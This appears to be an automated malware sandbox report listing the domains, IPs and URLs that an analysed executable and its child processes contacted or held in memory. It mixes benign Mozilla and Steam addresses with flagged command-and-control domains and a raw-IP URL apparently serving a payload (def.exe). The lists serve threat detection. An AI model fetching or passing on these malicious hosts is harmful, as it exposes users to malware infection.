http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
https://duckduckgo.com/?t=ffab&q=	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.all	0%	URL Reputation	safe
https://contile.services.mozilla.com/v1/tiles	0%	URL Reputation	safe
https://monitor.firefox.com/user/preferences	0%	URL Reputation	safe
https://screenshots.firefox.com/	0%	URL Reputation	safe
https://gpuweb.github.io/gpuweb/	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report	0%	URL Reputation	safe
https://www.wykop.pl/	0%	URL Reputation	safe
https://www.olx.pl/	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
example.org	93.184.215.14	true	false	unknown
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	unknown
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false	unknown
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false	unknown
services.addons.mozilla.org	151.101.1.91	true	false	unknown
sergei-esenin.com	104.21.53.8	true	true	unknown
contile.services.mozilla.com	34.117.188.166	true	false	unknown
youtube.com	142.250.186.174	true	false	unknown
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false	unknown
steamcommunity.com	104.102.49.254	true	true	unknown
us-west1.prod.sumo.prod.webservices.mozgcp.net	34.149.128.2	true	false	unknown
ipv4only.arpa	192.0.0.171	true	false	unknown
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false	unknown
normandy-cdn.services.mozilla.com	35.201.103.21	true	false	unknown
spirittunek.store	unknown	unknown	true	unknown
spocs.getpocket.com	unknown	unknown	false	unknown
licendfilteo.site	unknown	unknown	true	unknown
content-signature-2.cdn.mozilla.net	unknown	unknown	false	unknown
support.mozilla.org	unknown	unknown	false	unknown
eaglepawnoy.store	unknown	unknown	true	unknown
bathdoomgaz.store	unknown	unknown	true	unknown
detectportal.firefox.com	unknown	unknown	false	unknown
studennotediw.store	unknown	unknown	true	unknown
mobbipenju.store	unknown	unknown	true	unknown
normandy.cdn.mozilla.net	unknown	unknown	false	unknown
shavar.services.mozilla.com	unknown	unknown	false	unknown
clearancek.site	unknown	unknown	true	unknown
dissapoiznw.store	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
dissapoiznw.store	true		unknown
https://steamcommunity.com/profiles/76561199724331900	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.cloudflare.com/learning/access-management/phishing-attack/	file.exe, 00000000.00000003.2172085778.0000000000B6D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.t-mobile.com/cell-phones/brand/apple?cm	file.exe, 00000000.00000003.2226516704.00000000053DD000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://basket.mozilla.org/news/subscribe_sms/	firefox.exe, 0000001A.00000002.2807554240.0000014D51400000.00000002.00000001.00040000.0000001C.sdmp	false		unknown
https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-	firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_global.js?v=wJD9maDpDcV	file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010B5000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001213000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://sergei-esenin.com/	file.exe, 00000000.00000003.2255280486.0000000000B78000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198294386.0000000000B72000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://merino.services.mozilla.com/api/v1/suggest	firefox.exe, 0000001A.00000002.2801575464.0000014D44DD7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.gstatic.cn/recaptcha/	dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011D1000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/javascript/modalContent.js?v=UuGFpt56D9L4&l=	file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=engli	file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://spocs.getpocket.com/spocs	firefox.exe, 0000001A.00000002.2826854859.0000014D55615000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2826854859.0000014D55605000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2825282252.0000014D552F2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://screenshots.firefox.com	firefox.exe, 0000001A.00000002.2814527928.0000014D548F8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2807821351.0000014D51600000.00000002.00000001.00040000.0000001D.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D51303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2814527928.0000014D548BA000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ads.stickyadstv.com/firefox-etp	firefox.exe, 0000001A.00000002.2829538640.0000014D5590C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2828008526.0000014D557C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D51303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829848680.0000014D55A45000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 0000001A.00000002.2872155375.0000014D5DB8C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2683064327.0000014D54C00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2683904981.0000014D54E31000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D51345000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2809264505.0000014D52144000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2826854859.0000014D55605000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2845915505.0000014D56D8B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2812517048.0000014D528A0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D51303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D55987000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2684378399.0000014D54E52000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2683434006.0000014D54E0F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2841860100.0000014D56984000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://profiler.firefox.com/	firefox.exe, 0000001A.00000002.2814527928.0000014D5487A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://sergei-esenin.com/api2d	file.exe, 00000000.00000003.2255166252.0000000000B90000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://github.com/mozilla-services/screenshots	firefox.exe, 0000001A.00000003.2683064327.0000014D54C00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2683904981.0000014D54E31000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2812517048.0000014D528A0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000003.2683434006.0000014D54E0F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureRequest	firefox.exe, 0000001A.00000002.2831122441.0000014D55E50000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://tracking-protection-issues.herokuapp.com/new	firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/profiles/76561199724331900s	dbec6bb1cf.exe, 00000009.00000002.2535164435.0000000001041000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.37/85.215.113.37	5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe, 00000004.00000002.2448396958.0000000000938000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw&	file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000002.2535164435.0000000001081000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001213000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://firefox.settings.services.mozilla.com/v1i	firefox.exe, 0000001A.00000002.2807554240.0000014D51400000.00000002.00000001.00040000.0000001C.sdmp	false		unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2803840467.0000014D505AD000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://ok.ru/	firefox.exe, 0000001A.00000002.2847726244.0000014D571DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D513DF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsThe	firefox.exe, 0000001A.00000002.2831122441.0000014D55E50000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/	firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1&	file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2185040238.0000000005406000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2185198560.00000000053EE000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://lv.queniujq.cn	dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011D1000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.cloudflare.com/5xx-error-landing	file.exe, 00000000.00000003.2172085778.0000000000B6D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/webui/clientcom.js?v=qYlgdgWOD4Ng&amp	file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://getpocket.com/	firefox.exe, 0000001A.00000002.2807554240.0000014D51400000.00000002.00000001.00040000.0000001C.sdmp	false		unknown
https://www.bbc.co.uk/	firefox.exe, 0000001A.00000002.2877591426.0000391875F04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872155375.0000014D5DB3C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D513DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2825282252.0000014D5524C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2864357151.0000014D5D662000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://searchfox.org/mozilla-central/source/toolkit/components/search/SearchUtils.jsm#145-152	firefox.exe, 0000001A.00000002.2839377042.0000014D56772000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bugzilla.mo	firefox.exe, 0000001A.00000002.2846868069.0000014D56F03000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://mitmdetection.services.mozilla.com/	firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016	file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://static.adsafeprotected.com/firefox-etp-js	firefox.exe, 0000001A.00000002.2829538640.0000014D5590C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D51303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829848680.0000014D55A45000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://checkout.steampowered.com/	dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011D1000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://firefox.settings.services.mozilla.com/v1i#	firefox.exe, 0000001A.00000002.2807554240.0000014D51400000.00000002.00000001.00040000.0000001C.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_logo.png	file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/off/def.exe	file.exe, 00000000.00000003.2337400811.0000000000B96000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://spocs.getpocket.com/	firefox.exe, 0000001A.00000002.2856302856.0000014D587B2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D513DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://services.addons.mozilla.org/api/v4/abuse/report/addon/	firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%	firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ebay.comP	firefox.exe, 0000001A.00000002.2876660911.00001F7EFA104000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.iqiyi.com/	firefox.exe, 0000001A.00000002.2877591426.0000391875F04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2847726244.0000014D571DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872155375.0000014D5DB3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D513DF000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/profile.js?v=KkhJqW2NGKiM&l=engli	file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://fb.me/use-check-prop-typesG	firefox.exe, 0000001A.00000002.2807554240.0000014D51400000.00000002.00000001.00040000.0000001C.sdmp	false		unknown
https://monitor.firefox.com/user/breach-stats?includeResolved=true	firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://fb.me/react-polyfillsP	firefox.exe, 0000001A.00000002.2807554240.0000014D51400000.00000002.00000001.00040000.0000001C.sdmp	false		unknown
https://bugzilla.mozilla.org/show_bug.cgi?id=1584464	firefox.exe, 0000001A.00000002.2862971037.0000014D5D535000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://fb.me/react-polyfillsO	firefox.exe, 0000001A.00000002.2807554240.0000014D51400000.00000002.00000001.00040000.0000001C.sdmp	false		unknown
https://help.steampowered.com/en/	file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/%	dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011C6000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2656145755.00000000011C6000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/applications/community/manifest.js?v=	file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000002.2535164435.0000000001041000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010B5000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001213000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655772587.00000000011A9000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000002.2667659341.00000000011A9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://monitor.firefox.com/about	firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://account.bellmedia.c	firefox.exe, 0000001A.00000002.2849058904.0000014D57375000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/javascript/global.js?v=bOP7RorZq4_W&l=englis	file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010B5000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001213000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://broadcast.st.dl.eccdnx.com	dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011D1000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryptiondocument.requestSto	firefox.exe, 0000001A.00000002.2831122441.0000014D55E50000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/f0f51715-7f5e-48de-839	firefox.exe, 0000001A.00000002.2806783110.0000014D51324000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v	file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010B5000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001213000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.zhihu.com/	firefox.exe, 0000001A.00000002.2877591426.0000391875F04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2847726244.0000014D571DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2809264505.0000014D52120000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D513DF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.2212996224.0000000005411000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2828008526.0000014D55711000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2862333210.0000014D5D4EA000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.2212996224.0000000005411000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2828008526.0000014D55711000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2862333210.0000014D5D4EA000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpindows	5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe, 00000004.00000002.2448396958.000000000094A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://steamcommunity.com/H	dbec6bb1cf.exe, 00000009.00000002.2535164435.0000000001041000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/?t=ffab&q=	firefox.exe, 0000001A.00000002.2854529746.0000014D584BF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2867485052.0000014D5DA69000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/workshop/	file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/products/firefoxgro.all	file.exe, 00000000.00000003.2214021431.00000000054FA000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://clearancek.site:443/apiD	dbec6bb1cf.exe, 0000000B.00000002.2667659341.0000000001195000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655772587.0000000001195000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://mail.yahoo.co.jp/compose/?To=%s	firefox.exe, 0000001A.00000002.2814527928.0000014D5487A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/css/skin_1/profilev2.css?v=gNE3gksLVEVa&l=en	file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp	false		unknown
